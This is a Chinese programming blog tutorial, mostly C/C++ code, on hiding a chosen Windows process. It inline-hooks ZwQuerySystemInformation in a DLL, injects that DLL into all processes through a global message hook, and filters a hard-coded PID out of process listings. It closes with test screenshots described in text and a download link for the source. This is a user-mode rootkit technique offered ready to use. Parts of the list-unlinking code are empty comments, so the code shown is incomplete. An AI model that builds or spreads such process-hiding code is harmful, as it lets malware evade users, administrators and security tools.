uniaccess程序無法結束 拒絕訪問_Windows程式設計技術:程序隱藏
技術標籤:uniaccess程序無法結束 拒絕訪問unity exe*32只有程序windows api message boxwindows api音樂
前面介紹了“程序偽裝”、“傀儡程序”,今天介紹“程序隱藏”,這是實戰中經常遇到的跟程序有關的技巧。實現程序隱藏的方法很多,這次介紹的是一種較為直接的隱藏方式,InlineHOOK。
一、函式介紹
NTSTATUS WINAPI ZwQuerySystemInformation( _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, _Inout_ PVOID SystemInformation, _In_ ULONG SystemInformationLength, _Out_opt_ PULONG ReturnLength );
引數
SystemInformationClass [in]
要檢索的系統資訊的型別。該引數可以是SYSTEM_INFORMATION_CLASS列舉型別中的以下值之一,其等於5相當於程序資訊;SystemInformation[in,out]
指向緩衝區的指標,用於接收請求的資訊。該資訊的大小和結構取決於SystemInformationClass引數的值,如下表所示;SystemInformationLength [in]
SystemInformation引數指向的緩衝區的大小(以位元組為單位);ReturnLength [out]
一個可選的指標,指向函式寫入所請求資訊的實際大小的位置。如果該大小小於或等於SystemInformationLength引數,則該函式將該資訊複製到SystemInformation緩衝區中; 否則返回一個NTSTATUS錯誤程式碼,並以ReturnLength返回接收所請求資訊所需的緩衝區大小。
返回值
返回NTSTATUS成功或錯誤程式碼。
NTSTATUS錯誤程式碼的形式和意義在DDK中提供的Ntstatus.h標頭檔案中列出,並在DDK文件中進行了說明。
注意
ZwQuerySystemInformation函式及其返回的結構在作業系統內部,並可能從一個版本的Windows更改為另一個版本。為了保持應用程式的相容性,最好使用前面提到的替代功能。
如果您使用ZwQuerySystemInformation,請通過執行時動態連結訪問該函式。如果功能已被更改或從作業系統中刪除,這將使您的程式碼有機會正常響應。但簽名變更可能無法檢測。
此功能沒有關聯的匯入庫。您必須使用LoadLibrary和GetProcAddress函式動態連結到Ntdll.dll。
二、實現原理
首先,先來講解下為什麼 HOOK ZwQuerySystemInformation 函式就可以實現指定程序隱藏。是因為我們遍歷程序通常是呼叫系統WIN32 API函式EnumProcess 、CreateToolhelp32Snapshot等函式來實現,這些WIN32 API它們內部最終是通過呼叫 ZwQuerySystemInformation這個函式實現的獲取程序列表資訊。所以,我們只要HOOK ZwQuerySystemInformation函式,對它獲取的程序列表資訊進行修改,把有我們要隱藏的程序資訊從中去掉,那麼 ZwQuerySystemInformation 就返回了我們修改後的資訊,其它程式獲取這個被修的資訊後,自然獲取不到我們隱藏的程序,這樣,指定程序就被隱藏起來了。
其中,我們將HOOK ZwQuerySystemInformation 函式的程式碼部分寫在 DLL 工程中,原因是我們要實現的是隱藏指定程序,而不是單單在自己的程序內隱藏指定程序。寫成 DLL 檔案,可以方便我們將 DLL 檔案注入到其它程序的空間,從而 HOOK 其它程序空間中的 ZwQuerySystemInformation 函式,這樣,就實現了在其它程序空間中也看不到指定程序了。
我們選取 DLL 注入的方法是設定全域性鉤子,這樣就可以快速簡單地將指定 DLL 注入到所有的程序空間裡了。
其中,HOOK API 使用的是自己寫的 Inline Hook,即在 32 位程式下修改函式入口前 5 個位元組,跳轉到我們的新的替代函式;對於 64 位程式,修改函式入口前 12 位元組,跳轉到我們的新的替代函式。
三、流程
首先,獲取API函式的地址。可以從程序中獲取HOOK API對應的模組基址,這樣,就可以通過GetProcAddress函式獲取API函式在程序中的地址。
然後,根據32位和64位版本,計算需要修改HOOK API函式的前幾字節資料。若是32位系統,則需要計算跳轉偏移,並修改函式的前5個位元組資料;若是64位系統,則需要修改函式的前12位元組資料。
接著,修改API函式的前幾個位元組資料的頁面保護屬性,更改為RWX,這樣是為了確保修改後記憶體能夠執行。
最後,為了能夠還原操作,要在修改資料前先對資料進行備份,然後再修改資料,並還原頁面保護屬性。
四、程式碼
1、HOOK ZwQuerySystemInformation
void HookApi()
{
// 獲取 ntdll.dll 的載入基址, 若沒有則返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
// 獲取 ZwQuerySystemInformation 函式地址 typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
// 32 位下修改前 5 位元組, 64 位下修改前 12 位元組
#ifndef _WIN64
// jmp New_ZwQuerySystemInformation
// 機器碼位:e9 _dwOffset(跳轉偏移)
// addr1 --> jmp _dwNewAddress指令的下一條指令的地址,即eip的值
// addr2 --> 跳轉地址的值,即_dwNewAddress的值
// 跳轉偏移 _dwOffset = addr2 - addr1
BYTE pData[5] = { 0xe9, 0, 0, 0, 0};
DWORD dwOffset = (DWORD)New_ZwQuerySystemInformation - (DWORD)ZwQuerySystemInformation - 5;
::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset));
// 儲存前 5 位元組資料
::RtlCopyMemory(g_OldData32, ZwQuerySystemInformation, sizeof(pData));
#else
// mov rax,0x1122334455667788
// jmp rax
// 機器碼是:
// 48 b8 8877665544332211
// ff e0
BYTE pData[12] = {0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xe0};
ULONGLONG ullOffset = (ULONGLONG)New_ZwQuerySystemInformation;
::RtlCopyMemory(&pData[2], &ullOffset, sizeof(ullOffset));
// 儲存前 12 位元組資料
::RtlCopyMemory(g_OldData64, ZwQuerySystemInformation, sizeof(pData));
#endif
// 設定頁面的保護屬性為 可讀、可寫、可執行
DWORD dwOldProtect = 0;
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 修改
::RtlCopyMemory(ZwQuerySystemInformation, pData, sizeof(pData));
// 還原頁面保護屬性
::VirtualProtect(ZwQuerySystemInformation, sizeof(pData), dwOldProtect, &dwOldProtect);
}
2、New_ZwQuerySystemInformation
首先,使用UnHookApi防止因多次同時訪問HOOK函式而造成資料混亂,導致資料修改失敗。同一時間,應該只有一個執行緒訪問HOOK函式。
然後,通過GetProcAddress函式從ntdll.dll中獲取ZwQuerySystemInfomation函式地址並呼叫執行,檢索並獲取系統資訊。
接著判斷檢索訊息型別是否是程序資訊,若是則遍歷檢索結果,從中剔除隱藏程序的訊息。
最後,資料修改完畢後,繼續執行HOOK操作,並返回結果。
NTSTATUS New_ZwQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
)
{
NTSTATUS status = 0;
PSYSTEM_PROCESS_INFORMATION pCur = NULL, pPrev = NULL;
// 要隱藏的程序PID
DWORD dwHideProcessId = 13928;
// UNHOOK API
UnhookApi();
// 獲取 ntdll.dll 的載入基址, 若沒有則返回
HMODULE hDll = ::GetModuleHandle("ntdll.dll");
// 獲取 ZwQuerySystemInformation 函式地址
typedef_ZwQuerySystemInformation ZwQuerySystemInformation = (typedef_ZwQuerySystemInformation)::GetProcAddress(hDll, "ZwQuerySystemInformation");
// 呼叫原函式 ZwQuerySystemInformation
status = ZwQuerySystemInformation(SystemInformationClass, SystemInformation,
SystemInformationLength, ReturnLength);
if (NT_SUCCESS(status) && 5 == SystemInformationClass)
{
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
while (TRUE)
{
// 判斷是否是要隱藏的程序PID
if (dwHideProcessId == (DWORD)pCur->UniqueProcessId)
{
if (0 == pCur->NextEntryOffset)
{
//當我們需要隱藏的程序是最後一個數據時//就將上一個資料結構的NextEntryOffset置0//這時系統在遍歷我們程序時就不會發現了
}
else
{
//當我們需要隱藏的程序 後面還有程序時//越過要隱藏的程序讓 NextEntryOffset //指向下一個資料塊
}
}
else
{
pPrev = pCur; }if (0 == pCur->NextEntryOffset)
{
}
pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE *)pCur + pCur->NextEntryOffset);
}
}
// HOOK API
HookApi();
return status;
}
3、設定全域性訊息鉤子注入DLL
int _tmain(int argc, _TCHAR* argv[])
{
// 載入DLL並獲取控制代碼
HMODULE hDll = ::LoadLibrary("HideProcess_ZwQuerySystemInformation_Test.dll");
printf("Load Library OK.\n");
// 設定全域性鉤子
g_hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, hDll, 0);
printf("Set Windows Hook OK.\n");
system("pause");
// 解除安裝全域性鉤子
UnhookWindowsHookEx(g_hHook);
printf("Unhook Windows Hook OK.\n");
// 解除安裝DLL
::FreeLibrary(hDll);
system("pause");
return 0;
}
以上的HOOK函式均寫在DLL中,寫在其中可以方便將DLL注入到其他程序空間,從而隱藏其他程序空間中的ZwQuerySystemInfomation函式,而不單單在自己的程序空間內隱藏指定程序。
4、HideProcess_ZwQuerySystemInformation_Test:定義DLL應用程式的匯出函式
對於鉤子函式來說,要求DLL的資料段對所有的程序也必須相同。這樣您就必須把資料段設成共享的,這可以通過在連結開關中指定段的屬性來實現。#pragma data_seg("Shared")HINSTANCE g_hInstance = NULL;HHOOK g_hHook = NULL;HWND g_hWnd = NULL;#pragma data_seg()#pragma comment(linker,"/SECTION:Shared,RWS")
Shared代表該段是共享段。
// 訊息全域性鉤子回撥函式
LRESULT CALLBACK GetMsgProc(
int code, // hook code
WPARAM wParam, // removal option
LPARAM lParam // message
)
{
// 不進行任何操作,設定全域性鉤子的目的就是進行DLL注入而已,主要是主入口進行的API掛鉤
return ::CallNextHookEx(g_hHook, code, wParam, lParam);
}
// 設定全域性鉤子
HHOOK SetHook()
{
HHOOK hHook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hModule, 0);
g_hHook = hHook;
return hHook;
}
// 解除安裝全域性鉤子
BOOL UnsetHook(HHOOK hHook)
{
UnhookWindowsHookEx(hHook);
return TRUE;
}
5、結構體
在原始碼中有“if(NT_SUCCESS(status)&&5==SystemInformationClass)”,這裡的SystemInformationClass是什麼?
定義是程序資訊為5;
五、程式測試
我們執行將要隱藏程序的程式DisplaySample.exe,然後開啟工作管理員,可以檢視到它是處於可見狀態。接著,以管理員許可權執行我們的程式,設定全域性訊息鉤子,將 DLL 注入到所有的程序中,DLL便在DllMain入口點函式處HOOK ZwQuerySystemInformation函式,成功隱藏DisplaySample.exe的程序。
這是我們要測試隱藏的程序,PID=13928;
執行程式,
再檢視工作管理員,
對比上圖,發現DisplaySample.exe不見了;
換種方式再測試下,讓DisplaySample.exe放於cmd下執行,
呈現出這樣的隸屬關係,再執行隱藏程式,
發現沒有了,這樣的隸屬關係看得更清楚;
六、驗證
因為通過“HideProcess_ZwQuerySystemInformation_Test.dll”來HOOK ZwQuerySystemInformation,所以查詢這個Dll檔案,發現所有呼叫ZwQuerySystemInformation都被指向了這個Dll檔案。
好的,先到此吧。關於深層次的驗證,我也有點沒搞透,這個問題將持續研究中。
下載地址:
連結:https://pan.baidu.com/s/1RVVMNKcBHBbEVZNYaRZsuA
提取碼:tljs